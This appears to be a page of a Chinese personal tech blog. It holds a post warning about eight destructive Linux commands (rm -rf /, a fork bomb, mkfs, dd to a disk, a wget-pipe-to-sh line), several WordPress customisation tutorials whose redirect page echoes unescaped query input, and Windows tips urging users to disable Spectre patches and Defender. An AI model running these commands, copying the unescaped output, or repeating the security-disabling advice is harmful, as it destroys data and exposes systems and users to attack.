Hi,
有钱终成眷属
没钱亲眼目睹

技术文章 第7页

Linux之8个最危险的命令

伊阳阅读(1807)

本文最后更新于2021年2月8日,已超过 3 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

Linux的命令是很强大、高效的。但是有时侯执行一些命令要非常小心,尤其是,当你不知道自己在干什么的情况下。今天就列举下面几个命令,使用时一定要再三确认,要不然会后悔莫及。

1、 rm -rf

m -rf是删除目录最快的方法,如果使用桌面环境(右键->删除)删除一个零碎目录需要很长时间。但是一个小小的打字错误,有可能对你的系统造成不可恢复的破坏。
比如:

# rm -rf /

上面这条命令需要系统管理员权限,这也是不建议使用root用户登录系统的原因之一。
rm常用选项:

  • rm:删除文件
  • rm -r:递归的删除目录,包括空目录
  • rm -f:直接删除文件,不询问
  • rm -rf /:直接根(root)目录,不询问
  • rm -rf *:删除当前目录的所有东西,不询问
  • rm -rf:删除当前目录和子目录,不询问
在执行rm -rf一定要小心。为了防止rm命令意外删除文件或目录,可以为rm创建一个别名rm -i,每次都需要确认删除。
2、 :(){:|:&};:

上面这个命令就是所谓的fork炸弹。执行上面代码会耗尽系统资源而崩溃。

3、cmd > /dev/sda

cmd代表一个命令,cmd > /dev/sda把cmd命令的输出写到了/dev/sda块设备上,会导致/dev/sda块设备数据的全部丢失。

4、mv 目录 /dev/null

上面命令会把目录移动到/dev/null。在Linux中, /dev/null是一个特殊的设备文件,有人把它叫做黑洞。

# mv /home/* /dev/null
 

上面命令相当于:

# rm -rf /home/*
 
5、wget http://怀有恶意脚本的url -O- | sh

上面这条命令在安装软件或系统环境时总用到,它从url下载脚本,下载完成之后自动执行脚本。不要对不信任的url执行上面这个命令。

6、mkfs.ext3 /dev/sda

上面命令是格式化命令,执行完之后硬盘数据全部清空。

7、> file

> file命令会把文件中的数据全部清空。

8、dd if=/dev/random of=/dev/sda

上面命令向sda设备中写入随机数据,这是不可恢复的。

不论执行上面的哪一条命令时,一定要考虑清楚,是否需要,以免带来无法避免的错误。

WordPress鼠标自定义指针样式教程

伊阳阅读(2515)

本文最后更新于2021年4月1日,已超过 3 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

看着别的博主的站点的鼠标样式很新颖、个性,于是想给自己也DIY一个,在网上找了方法,此方法是当用户浏览个人站点时鼠标指针会自动替换成我们预设好的指针样式。现在分享给大家。

1、将鼠标指针样式文件上传到你的网站任意目录。(指针文件在下面)
2、在当前主题style.css文件,把下面的css代码添加进去。

/** 鼠标样式 开始**/
/** 普通指针样式**/
body{
  cursor: url(http://www.......png), default; //鼠标指针样式一路径
}
/** 链接指针样式**/
a:hover{cursor:url(http://www.......png), pointer;}   //鼠标指针样式二路径
/** 鼠标样式 结束**/

好了,按照上面两步进行操作,自定义鼠标指针完成。修改完毕后,要记得清空浏览器缓存才会看见效果哦。

Win10系统激活信息查询方法

伊阳阅读(2028)

本文最后更新于2020年2月26日,已超过 4 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

前几天,我的笔记本键盘个别按键不好使了,想着是不是电脑系统有问题,然后就重新装了下系统,可装完按键故障还是照旧。装完系统之后,发现系统未激活,以前的激活信息也未备份,幸好同事给了一个正版激活码,把Win10系统给激活了。之后,想着看一下系统的激活信息,下面将记录下查询方法:

1、右键点击旧版windows系统”开始“按钮,如图所示,在弹出菜单中选择“运行”菜单项,或使用 Windows + R组合快捷键打开运行命令框。


2、在弹出的窗口中,输入 slmgr.vbs -xpr 再点击确定

3、之后会弹出另一个窗口,显示系统激活的过期时间,如果为永久激活,窗口中会显示永久激活


要查询详细激活信息,输入 slmgr.vbs -dlv 命令,可以查询到Win10的激活信息,包括:激活ID、安装ID、激活截止日期等信息。

也可以输入slmgr.vbs -dli 命令进行查询。


NANA主题站长推荐小工具代码缺陷修复

伊阳阅读(1455)

本文最后更新于2021年4月1日,已超过 3 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

懿古今的NANA主题用了不到一个月时间,最近使用中发现站长推荐有点问题,表现为当取消站长推荐后,侧边栏站长推荐栏里还是显示已取消推荐的文章。

站长推荐使用的字段名称为hot,保存在数据库的postmeta表里,当我们勾选站长推荐时,postmeta表里的hot值为


当我们取消站长推荐时,hot值为

接着,打开主题下inc/functions/widgets.php文件的第242行,语句为


<?php query_posts( array ( 'meta_key' => 'hot', 'showposts' => $number, 'orderby' => 'rand', 'ignore_sticky_posts' => 1 ) ); while ( have_posts() ) : the_post(); ?>

然后,我在里面又加了一个条件,改为:

<?php query_posts( array ( 'meta_key' => 'hot','meta_value' => 'true','showposts' => $number, 'orderby' => 'rand', 'ignore_sticky_posts' => 1 ) ); while ( have_posts() ) : the_post(); ?>

经过测试,问题解决了。希望对大家有所帮助,文笔有限望见谅~~~

WordPress后台文章列表增加站长推荐栏目

伊阳阅读(1737)

本文最后更新于2021年4月1日,已超过 3 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

本站点用的是懿古今的NANA主题,当写完一篇文章时,并在文章底部勾选“推送到[站长推荐]小工具”后,文章发布后,会在前端侧边栏显示站长推荐的文章。可经过很长时间之后,推荐的文章数多了,这时,要想在后台文章列表里,查看哪些是推荐的哪些不是推荐的,就只能一篇一篇的进入编辑模式下去看,不太直观,且麻烦。/p>
今天,我就介绍下如何在WordPress后台的文章列表增加栏目(站长推荐)。效果图如下:

要实现上面的效果,也很简单,只需要在当前主题的functions的?>添加下列代码即可。

//1~ 在后台文章列表增加1列数据,展示站长推荐
add_filter( 'manage_posts_columns', 'yiy_customer_posts_columns' );
function yiy_customer_posts_columns( $columns ) {
  $columns['hots'] = '站长推荐';
  return $columns;
} 
//2~ 输出结果
add_action('manage_posts_custom_column', 'yiy_customer_columns_value', 10, 2);
function yiy_customer_columns_value($column, $post_id){
   if($column=='hots'){
      $hot_value = get_post_meta($post_id,'hot',true);  
      if($hot_value==true) {echo Yes;    //站长推荐显示Yes
      }else
	echo No;	                 //不是显示No 
      }
   return;
 }

好了,到此就结束了,是不是很简单呢。

简单的Go页面个性化制作

伊阳阅读(1988)

本文最后更新于2021年4月1日,已超过 3 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

博主我用的是懿古今博主的NANA主题,站点也开启了Go跳转,再浏览懿古今博主的博客时,发现他的Go跳转很新颖,想着自己也弄一个。还是那句话,我不会编代码,但我会照猫画虎给改。经过多次的修改,终于照着懿古今的给仿做了一个。

效果图一

效果图二


下面我介绍下方法。

1、新建go.php文件,并复制下列代码保存。
<?php
/*
Template Name: GO跳转
*/
$t_url = preg_replace('/^url=(.*)$/i','$1',$_SERVER["QUERY_STRING"]); 
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
<meta name="robots" content="noindex, nofollow" />
<title>您将要访问的网页不属于伊阳博客</title>
<link rel="stylesheet" id="font-awesome-four-css" href="<?php echo esc_url( get_template_directory_uri() ); ?>/fonts/fontawesome-all.css" type='text/css' media='all'/>
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/jquery-1.12.4.min.js"></script>
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/scrollmonitor.js"></script>
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/flexisel.js"></script>
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/stickySidebar.js"></script>
<link rel="stylesheet" id="nfgc-main-style-css" href="<?php bloginfo( 'stylesheet_url' ); ?>" type="text/css" media="all">
<link rel="stylesheet" type="text/css" href="<?php echo get_template_directory_uri(); ?>/css/go.css" media="all">
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/wow.js"></script>
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/slides.js"></script>
</head>
<body>
<div class="container">
   <div class="header">
     <img src="<?php echo esc_url( get_template_directory_uri() ); ?>/images/logo.png" width="220" height="60" alt="<?php bloginfo('name'); echo stripslashes(get_option('ygj_lianjiefu')); bloginfo('description'); ?>" title="<?php bloginfo('name'); echo stripslashes(get_option('ygj_lianjiefu')); bloginfo('description'); ?>">
    </div>
    <div class="content">
       <div class="c-container warning">
          <div id="remind_block" class="remind_block">
             <div class="remind_content">
                <div class="remind_title">您将要访问</div>
                <div class="remind_detail">
                   <div class="safety-url">
                      <?php echo $t_url;?>
                   </div>
                   <span style="color:#CC0000;font-weight:800;">温馨提示:</span><br/>该网页不属于<a href="<?php bloginfo('url');?>" rel="nofollow"><?php bloginfo('name');?></a>,我们无法确认该网页是否安全,它可能包含未知的安全隐患,请注意保护好个人信息!
                </div>
                <div id="content-media1">
                   <?php if (get_option('ygj_hdpkg') == '显示') { get_template_part ('/inc/slider');} ?>  //此处我调用的是幻灯片,具体显示内容自己修改放到这里即可。
                <div class="clear"></div>
                </div>
               </div>
            </div>
       </div>
</div>
<div class="c-footer">
<a href="<?php echo $t_url;?>" rel="nofollow" class="c-footer-a1 btn_blue">继续访问</a><a class="c-footer-a2" href="<?php bloginfo('url');?>" rel="nofollow">返回主页</a>
</div>
</div>
<div class="footer">Copyright ? <a href="<?php bloginfo('url');?>" rel="nofollow"><?php bloginfo('name');?></a></div>
</body>
</html>
说明:代码41行为Go页面中间要显示的内容,自己根据需要修改添加即可!!!
2、新建go.css样式文件,并复制下列代码保存,并上传至当前主题下的css文件夹下。
body{margin:0;padding:0 30px;background-image: url("https://www.abc.cn/wp-content/uploads/2018/12/bg.gif")!important;background-position:left top;background-size: auto; background-repeat: repeat; background-attachment:scroll;font-size:12px}
h3{font-size:15px}img{border:none}a{text-decoration:none;cursor:pointer;outline:0;font-size:14px}
a:hover{text-decoration:none}
a,a:link,a:visited{color:#}a.btn_blue:focus{border-color:#93d4fc;box-shadow:0 0 5px #60caff}
a.btn_blue{display:inline-block;padding:6px 25px;margin:0;font-size:14px;font-weight:700;text-align:center;border-radius:3px;border:1px solid #0d659b;color:#fff;color:#fff!important;background-color:#fff;background:-moz-linear-gradient(top,#238aca,#0074bc);background:-webkit-linear-gradient(top,#238aca,#0074bc);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#238aca',endColorstr='#0074bc');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr='#238aca', endColorstr='#0074bc')"}
a.btn_blue:hover{text-decoration:none;background-color:#238aca;background:-moz-linear-gradient(top,#2a96d8,#0169a9);background:-webkit-linear-gradient(top,#2a96d8,#0169a9);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#2a96d8',endColorstr='#0169a9');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr='#2a96d8', endColorstr='#0169a9')"}
a.btn_blue:active{background-color:#238aca;background:-moz-linear-gradient(top,#0074bc,#238aca);background:-webkit-linear-gradient(top,#0074bc,#238aca);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0074bc',endColorstr='#238aca');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr='#0074bc', endColorstr='#238aca')";outline:0}
.remind_block{overflow:hidden}
.remind_block .remind_content{overflow:hidden}
.remind_block .remind_title{margin-bottom:10px;padding-top:3px;font-weight:700;font-size:20px;font-family:"Microsoft YaHei","lucida Grande",Verdana}
.remind_block .remind_detail{line-height:1.5;font-size:16px!important;color:#535353}
.remind_detail a{line-height:1.5;font-size:16px!important;}
.warning .remind_title{color:#c01e22}
.container{max-width:900px;margin:0 auto;padding-top:15px}
.header{margin-bottom:5px}
.footer{margin-top:5px;text-align:center;color:#a0a0a0;font-size:14px!important}
.content{border:1px solid #;background:#fff}
.c-container{padding:25px}
.c-footer{padding:10px 15px;overflow:hidden}
.c-footer-a1,.c-footer-a2{float:left;}
.c-footer-a2{margin:8px 0 0 15px;}
.safety-url{margin-bottom:15px;padding-bottom:15px;border-bottom:1px solid #dfdfdf;word-wrap:break-word;word-break:break-all}
#content-media1{display:block;margin-top:20px;}
.f-fl{width:50%;float:left;}
.f-fr{width:50%;float:left;}
.ad{margin-bottom:10px}@media screen and (max-width:728px){#content-media1{display:none;}}
说明:css样式自己可自行修改!!!
3、后台新建go页面,模版选择“Go跳转”。

注意:要使用Go跳转,站点需要支持Go跳转,并开启跳转功能,才能正常使用!!!

好了,简单的Go页面个性化设置就完成了。部分样式代码参考至懿古今站点的Go跳转页面,在此表示感谢!!!

温馨提示

个性化Go页面制作升级版已修改完成,后期会贴出效果图。

百度文章收录检索页面制作方法

伊阳阅读(2046)

本文最后更新于2021年4月1日,已超过 3 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

当我们发布一篇新的文章时,都想着以最快的时间让各大搜索引擎收录。刚开始的时候,我是在文章页加入百度收录代码,以查看文章是否被收录,可这样每次都得打开文章进行查看,比较麻烦。于是呢,脑子里蹦出一个念头,想着能不能做一个页面,列出所有文章是否被百度收录。这样就可以一目了然的知道那些文章被收录,哪些没有被收录。然后我们可以通过SEO优化,使没有收录的文章进行收录。

要实现这一功能也比较容易,本文只适合新手,老鸟请无视之。下面我将介绍一下实现的方法。
1、在主题下的functions.php里黏贴下列代码。

//百度收录
function checkBaidu($url) { 
  $url = 'http://www.baidu.com/s?wd=' . urlencode($url); 
  curl = curl_init(); 
  curl_setopt($curl, CURLOPT_URL, $url); 
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); 
  $rs = curl_exec($curl); 
  curl_close($curl); 
  if (!strpos($rs, '没有找到')) { //没有找到说明已被百度收录 
     return '<i class="fa fa-check"></i> <span style="color: #1d9c04;">百度已收录</span>'; 
  } else { 
    return '<i class="fa fa-times"></i> 百度未收录'; 
  } 
}

2、新建一个baiducheck.php,或直接将single.php另存为baiducheck.php。
3、按照下面方法

<?php get_header();?>
改为 
<?php  /** Template Name: BaiduCheck */ get_header();?>

4、删除原single里面不需要显示的代码,并在适当位置,加入如下代码。

<div id="baiducheck">
   <ul>
      <li class="check col-1"><span class="number">序号</span><span class="links">链接地址</span><span class="title">文章名称</span><span class="bdcheck">是否收录</span>
      </li>
     <?php query_posts("post_type=post & post_status=publish & posts_per_page=-1");$i=1;
      if ( have_posts() ) { 
      while ( have_posts() ) { 
      the_post(); 
    ?>
      <li class="check col-2"><span class="number"><?php echo $i;$i++; ?></span><span class="links"><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"  target="_blank"><?php the_permalink() ?></a></span><span class="title"><?php the_title(); ?></span><span class="bdcheck"><?php echo checkBaidu(get_the_permalink());?></span>
      </li>
    <?php }
    } ?>
   </ul>
</div>

5、后台新建一个页面,名称自己命名,模板选择“Baiducheck”。
6、将下列css样式,加入到主题的style里。

#baiducheck ul li{list-style:none;border:1px solid #ccc;margin-top:-1px;line-height:30px}
#baiducheck .number{width:40px;display:block;text-align:center;border-right:1px solid #ccc;float:left}
#baiducheck .links{padding-left: 10px;border-right: 1px solid #ccc;width: 250px;display: block;float: left;}
#baiducheck .title{padding:0 10px;border-right: 1px solid #ccc;width: 340px;display: block;float: left;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;word-wrap:normal;}
#baiducheck .bdcheck{padding:0 10px}
#baiducheck .col-2:nth-child(2n){background:#f1f1f1;}
#baiducheck .col-2:nth-child(2n+1){background:#fff;}

好了,到此就完成了。
效果如下:

温馨提示

本文为博主亲自整理并测试,转载请保留出处!

WordPress固定链接301重定向说明及方法

伊阳阅读(2714)

本文最后更新于2021年4月1日,已超过 3 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

今天的文章标题为Wordpress的301跳转简述及方法,为什么要写这个呢。原因很简单,因为我前几天对博客的部分文章地址进行了301跳转。可能又会有人问,我为什么要进行301跳转呢?原因也很简单,因为我对文章的固定链接进行了修改,修改之前的文章百度已经收录,给百度提交之前的文章地址为死链,又删不掉,没办法,才进行了301跳转。

可能有的人不明白何为301跳转,301重定向(301 redirect),也叫301跳转,是指网址的永久性转移(Permanently Moved),当网站在搜索引擎索引库中的网址发生改变时,搜索引擎并不能及时改变索引库中的网址。网站管理员通过对网址的301重定向转移,可以避免损失来自搜索引擎的用户。更重要的是,通过301重定向转换,URL的权重、Google PR值都能够不受影响地传递。因此301重定向也是网页更改地址后对搜索引擎非常友好的一种方法。

例如,我之前文章发表的地址为:https://www.chyiyang.cn/2018/2.html,现在我的文章发表地位改为了https://www.chyiyang.cn/2.html,百度已收录了旧地址,但旧文章已变成了新地址,如果这个时候你去访问原文章地址,浏览器会返回404错误。这个时候为了避免404错误,就要启用301重定向。

要实现301重定向,主要有两种方法。一是使用插件。另一种是利用.htaccess实现URL重定向(redirect)。有人可能要问我,我用的哪一种?我在这可以告诉大家,我用的是插件实现,至于为啥用插件,我后面会说明原因。

一、使用插件实现301重定向

插件主要有两种,WP Permalinks Migration或Redirection。我用的是前者,因为前者配置界面为中文,后者界面为英文。
1、下载并安装插件WP Permalinks Migration。
2、启用插件以后,进入WordPress后台的Settings(设置)–>WP Permalinks Migration,可以看到一般会自动识别原来的链接样式,如果没有自动识别原来的链接样式,那就你手动填写,并按左下角的按钮保存设置。
3、在WordPress后台的Settings(设置)–>Permalinks(永久链接)–>修改为你想要的样式,保存即可,这时候,访问原来的链接,就可以自动跳转到你的新链接!

二、利用.htaccess实现URL重定向(redirect)

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。
要利用.htaccess文件进行重定向,就需了解表达式的规则,具体规则含义如下:

^ –> 匹配字符串的开始
$ –> 匹配字符串的结束
^$ –> 可以用于确定字符串,即可以用于确定起点或终点。例如:^$ —— 空字符串
s –> 匹配任意的空白符
w –> 匹配字母或数字或下划线或汉字
b –> 是正则表达式规定的一个特殊代码代表着单词的开头或结尾,也就是单词的分界处
d –> 匹配一位数字
W (大写) –> 匹配任意不是字母,数字,下划线,汉字的字符
S (大写) –> 匹配任意不是空白符的字符
D (大写) –> 匹配任意非数字的字符
B (大写) –> 匹配不是单词开头或结束的位置
“ . ” –> 匹配除了换行符以外的任意字符
“ * ” –> 它代表的不是字符,也不是位置,而是数量——它指定 * 前边的内容可以连续重复使用任意次以使整个表达式得到匹配。“ * ”连在一起就意味着任意数量的不包含换行的字符
“ + ” –> 是和“ * ”类似的元字符,不同的是 * 匹配重复任意次(可能是0次),而 + 则匹配重复1次或更多次。
“ ? ” –> 重复零次或一次
“ – ” –> 不是元字符,只匹配它本身,即连字符(减号)

示例一:原固定链接/personal/article/%year%/%postname%.htm改为/%postname%.html
其中,/personal/article/不变,%year%/为数字,为([0-9]+);%postname%.htm为字符,为(.*),可以理解为最后的文章名称或者ID。给/%year%/赋予$1,%postname%.htm赋予$2,(.*)和$2l(是字幕l,不是数字1)之间的那个$可以理解为老网址和新网址之间的分割。
重定向语句:

RedirectMatch 301 ^/personal/article/([0-9]+)/(.*)$ /$2l

示例二:原固定链接/%year%/%monthnum%/%day%/%postname%/改为/%postname%.html
其中,%year%,%monthnum%,%day%均表示数字,所以都为([0-9]+),%postname%为字符,为(.*)。这4个变量分别赋予$1,$2,$3,$4。
重定向语句:

RedirectMatch 301 ^/([0-9]+)/([0-9]+)/([0-9]+)/(.*)/$ /$4.html
 

示例三:/%post_id%修改为/%category%/%post_id%.html
其中,%post_id%肯定是数字,而上面说过,正则表达式中(d+)对应任意数字,所以以前的网址可以写成/(d+),而%category%是分类,肯定是字符,不管是汉字还是字母,正则表达式中(.+) 对应的是任意字符(包括汉字、英文字母等),所以新的网址可以写成/(.+)/(d+).html
重定向语句:

RedirectMatch 301 ^/(d+)$ /(.+)/$1.html
 

到此,两种方法就介绍完了。

现在,我就说下我为什么要用插件进行301重定向,因为用插件的话,在访问旧地址时,当网页打开时,浏览器上的网址会替换成新地址。而用htaccess进行重定向时,浏览器上的地址还是旧的网页地址。
WP Permalinks Migration插件下载地址:

本文部分参考:https://qiaodahai.com/wordpress-modify-permalinks-301-redirect.html,再次表示感谢!!

让NANA主题侧边栏显示最新说说心情

伊阳阅读(2299)

本文最后更新于2021年4月1日,已超过 3 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

当初,在浏览其他博友的站点时,发现侧边栏可以显示最新的说说心情,感觉很漂亮。想着,能不能在自己的博客侧边栏也显示。在自己的多次修改和测试下,终于可以显示了。

博主我使用的是懿古今的NANA主题,因此也是在此主题的基础上进行的修改适配。理论上,也适用其他WP主题,不过需要进行二次修改。
下面我将介绍下,大致的修改步骤及方法。
1、新建shuo.php,并复制下列代码后,上传至/inc/functions/文件夹下。

<?php
//原文地址:www.chyiyang.cn/52.html
function shuo($number){
  global $wpdb, $post; 
  $sql = "SELECT * FROM $wpdb->posts WHERE post_type = 'shuoshuo' AND post_status = 'publish' ORDER BY post_date DESC LIMIT 0 , $number ";
  $posts = $wpdb->get_results($sql);
  $output = "";	
  foreach ($posts as $post){		
    $output .= "<li class=\"clr\"><div class=\"time\"><span class=\"r\">".get_the_time('d')."</span>/<span class=\"y\">".get_the_time('m月')."</span></div><div class=\"title\">".$post->post_content."</div></li>";
  }
  echo $output;	
}
?>

2、复制下列代码,粘贴到/in/functions/widgets.php最下面。

// 心情说说:www.chyiyang.cn/52.html
class shuoshuo_post extends WP_Widget {
  function __construct(){
    parent::__construct( 'shuoshuo_post', '主题&nbsp;&nbsp;心情说说', array('description' => '主题自带的心情说说小工具') );
  }
  function widget($args, $instance) {
    extract($args);
    $title = apply_filters( 'widget_title', $instance['title'] );
    echo $before_widget;
    if ( ! empty( $title ) )
      echo $before_title . $title . $after_title;
      $number = strip_tags($instance['number']) ? absint( $instance['number'] ) : 5;
?>
<div class="shuo_cat" id="shuo_cat">
   <ul>
      <?php shuo($number);wp_reset_query(); ?>
   </ul>
</div>	
<script>
   $(function () {
      $(".clr").mouseover(function () {
        $(this).addClass('hov');
       }).mouseleave(function () {
           $(this).removeClass('hov');
       });
    })
</script>
<div class="clear"></div>
<?php
   echo $after_widget;
}
   function update( $new_instance, $old_instance ) {
     if (!isset($new_instance['submit'])) {
	return false;
     }
     $instance = $old_instance;
     $instance = array();
     $instance['title'] = strip_tags( $new_instance['title'] );
     $instance['number'] = strip_tags($new_instance['number']);
     return $instance;
}
   function form($instance) {
     if ( isset( $instance[ 'title' ] ) ) {
	$title = $instance[ 'title' ];
     }
     else {
	$title = '心情?说说';
     }
     global $wpdb;
     $instance = wp_parse_args((array) $instance, array('number' => '5'));
     $number = strip_tags($instance['number']);
?>
     <p><label for="<?php echo $this->get_field_id( 'title' ); ?>">标题:</label>
     <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo $title; ?>" /></p>
     <p><label for="<?php echo $this->get_field_id('number'); ?>">显示数量:</label>
     <input id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="text" value="<?php echo $number; ?>" size="3" /></p> 
     <input type="hidden" id="<?php echo $this->get_field_id('submit'); ?>" name="<?php echo $this->get_field_name('submit'); ?>" value="1" />
<?php }
}
add_action( 'widgets_init', create_function( '', 'register_widget( "shuoshuo_post" );' ) );

3、在NANA主题functions.php下,加入如下代码。

// 说说心情
require get_template_directory() . '/inc/functions/shuo.php';

4、将下列css样式粘贴到主题下的style样式里。

shuo_cat ul{padding:8px 15px 15px}
.shuo_cat li{border-bottom:1px dotted #cbcbcb;padding:9pt 0}
.shuo_cat li .time{float:left;width:70px;height:36px;line-height:36px;text-align:center;color:#616161;font-size:9pt;background:#f2f2f2;font-family:arial}
.shuo_cat li .time span{display:inline-block}
.shuo_cat li .time span.r{font-size:22px;width:25px;margin-right:2px;text-align:right}
.shuo_cat li .time span.y{font-size:9pt;margin-left:2px;position:relative;bottom:1px}
.shuo_cat li .title{height:auto;line-height:18px;overflow:hidden;font-size:14px;color:#3f3f3f;padding-left:6pt;white-space:normal}
.shuo_cat li.hov{border-bottom:1px dotted #c01e22}
.shuo_cat li.hov .time{background:#c01e22;color:#fff}
.shuo_cat li.hov .title{color:#c01e22}
 

好了,到此就弄完了。

添加此功能,需要站点有说说页面才可实现。

后台效果

前端显示效果

温馨提示

本文为博主原创内容,转载需写明出处。

Win10必掌握的10个小技巧

伊阳阅读(2605)

本文最后更新于2019年1月10日,已超过 5 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

当我们使用Windows10系统一段时间后,会不会发觉系统使用速度越来越慢呢,特别是安装了测试版的小伙伴们,那感觉真是….其实,当我们在每次升级Win10后,确实会比老版慢上很多,这是因为系统新增加的安全功能,往往会对系统速度造成拖累。但并不能使我们认为系统不应该升级,升级虽然给我们的系统带来了一些问题,但只要优化得当,系统还是会快起来的。下面我就介绍一些对系统有帮助的优化方法。

1. 关闭不必要服务

Win10中有一些服务是不需要打开的,就比方说Connected User Experiences and Telemetry,它是微软中一项外围服务,主要用来收集错误信息,关上对系统没多少影响,但打开却会大大拖累系统。类似的服务在Win10中还有几项,我们通常可以根据自己的需要进行选择。

关闭服务的方法是,Win+R调出运行对话框,输入“Services.msc”启动服务面板,接下来输入要禁用的服务首字母,最后双击“禁用”即可。

* Connected User Experiences and Telemetry:用于收集错误信息,对于硬盘消耗较大,是很多低配电脑卡顿的元凶。

* Diagnostic Execution Service:诊断执行服务,用以执行故障诊断支持的诊断操作,效果类似Connected User Experiences and Telemetry。

* SysMain:即以前的SuperFetch,对于机械硬盘有一定作用,但固态硬盘作用不大,而且常常是导致CPU占用飙升100%的元凶。如果用户使用的是SSD,且物理内存较大,可以考虑关闭。

* Windows Search:Windows搜索服务,作用是实现文件的快速搜索。不过这是一项经常在系统后台”查水表”的服务,很多时候电脑待机时硬盘灯长亮就是它的“功劳”。此外Win10新版中的“活动历史记录”也依赖于该服务。如果安装的是SSD,且对“活动历史记录”无感可以考虑关闭,尤其对于低配电脑,性能提升非常明显。

2. 固态硬盘定期优化

固态硬盘用久后会出现“掉速”,一方面是由于硬盘剩余空间太少,另一方面则是主控没有及时执行垃圾回收所致。Win10内置了一项固态硬盘垃圾回收功能(即TRIM),位于“此电脑”→硬盘驱动器→“属性”→ “工具”→“优化”标签。你会发现Win10其实是很智能的,能够准确识别出固态硬盘与机械硬盘(提示为“硬盘驱动器”)。其中机械硬盘执行的是碎片整理,而固态硬盘就是TRIM。

此外,硬盘优化还支持定期执行,即可以按照用户设置的时间自动优化。换言之,如果感觉系统工作不流畅,可以通过这项功能随时让SSD保持最佳工作状态。

3. 关闭DIPM节能机制

DIPM,Serial ATA DIPM,标准解释是串口额外省电模式。这项功能其实是指在系统空闲时,通过减少硬盘串口供电,来让SSD进入低功耗节能状态。由于平台的不同,DIPM在实际使用中表现并不够稳定,很多时候电脑出现卡顿,过1-2秒后又正常就是DIPM的锅!其实节不节电对于台式机来说根本不是什么问题,反而卡顿的出现才是真正让人头疼的。

关闭DIPM可以通过Intel SSD Toolbox以及硬盘厂商自己的管理程序搞定,此外也可以在主板BIOS中查找Serial ATA DIPM,将其手工关闭。

此外操作系统“电源选项”中的“PCI Express”→“链接状态电源管理”也会触发SSD的节能模式,如果使用的是台式电脑,那么可以通过将该选项设置为“关闭”来绕开SSD节能模式。

4. 关闭界面特效

Win10中加入了很多特效,这使得一些低端机在运行这款操作系统时非常卡顿。其实很多特效并不需要完全加载,尤其是一些淡入淡出效果,在实际使用中视觉感差异不大,反而相当消耗资源。关闭它们,可以在保持系统外观基本不变的情况下,大幅提升流畅度。

5. 关闭“幽灵漏洞”补丁

“Meltdown”(熔断)、“Spectre”(幽灵)这两个漏洞在前一段时间备受关注,一来是由于这两个漏洞不分平台,直接针对CPU实现,波及的范围较广,另一方面也是由于处理器大厂Intel为平息媒体压力,草草推出了两个临时补丁而导致Win10性能大幅下降(直接关闭了CPU乱序执行和分支预测)。

其实就小编来看,这两个漏洞多少是被媒体夸大了。一来到目前为止,还没有听说有哪一个利用该漏洞开发的病毒,另一方面家用电脑涉及到机密数据的机率也很低,一般用户远不必为此担心。不过漏洞补丁对于电脑性能的拖累却是实打实的,尤其是一些四代或者五代的老平台,其拖慢效应非常明显。

如果用户对于性能的要求远高于安全,那么就可以通过关闭漏洞补丁来找回失去的性能。方法是借助一款名为“InSpectre”的绿色小工具,打开软件后程序会自动评估补丁对于当前电脑的性能影响,下面两个按钮则可以直接禁用相关补丁。

6. 关闭系统保护

“系统保护”是Win10内置的一项功能,用以定期保存系统文件及Win10重点设置,当电脑出现重大系统事件时(比如系统出错或者驱动安装失败),可以通过该功能快速恢复到正常状态。然而就是这么一项“有用”的功能,你我到底用过几回?差不多一回没用过是吧!其实它就和上面那个幽灵补丁一样,看上去很好,但实际上却鲜有人用,相反会占用大量的系统资源,白白拖累整机性能。

关闭的方法很简单,右击“此电脑”→“属性”,点击“高级系统设置”,然后切换到“系统保护”标签→“配置”,最后点击“禁用系统保护”即可关闭系统保护功能。

7. 关闭Windows Defender

很多人认为自己安装了第三方安全软件后,会自动禁用Win10内置的Windows Defender,但事实上在Win10 19H1以后的新版系统中,这样的操作并没有禁止Windows Defender。这也就导致了一个重要问题,即你的电脑其实是由两组安全工具共同运作着。

同一台电脑安装多款安全工具一直都是系统操作的大忌,这主要是因为安全工具的特殊性所致,而外在表现就是整个系统运行迟钝,甚至到了无法运行的地步。

关闭的方法是,在搜索框中输入“gpedit.msc”打开组策略编辑器,然后依次展开“计算机配置”→“管理模板”→“Windows组件”→“Windows Defender防病毒程序”,在右侧窗格中双击“关闭Windows Defender防病毒程序”,将选项修改为“已启用”即可。

8. 关闭“快速启动”

